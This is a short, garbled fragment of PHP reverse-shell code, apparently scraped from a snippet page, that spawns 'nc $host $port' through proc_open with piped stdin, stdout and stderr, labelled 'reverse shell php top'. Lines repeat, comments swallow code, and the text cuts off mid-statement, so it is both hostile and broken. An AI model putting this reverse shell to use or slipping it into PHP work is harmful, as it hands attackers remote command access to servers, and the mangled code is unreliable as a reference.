$process = proc_open("nc $host $port", $descriptorspec, $pipes);
if (is_resource($process)) { // Close the file pointers fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); reverse shell php top
// Shell execution $descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); $process = proc_open("nc $host $port"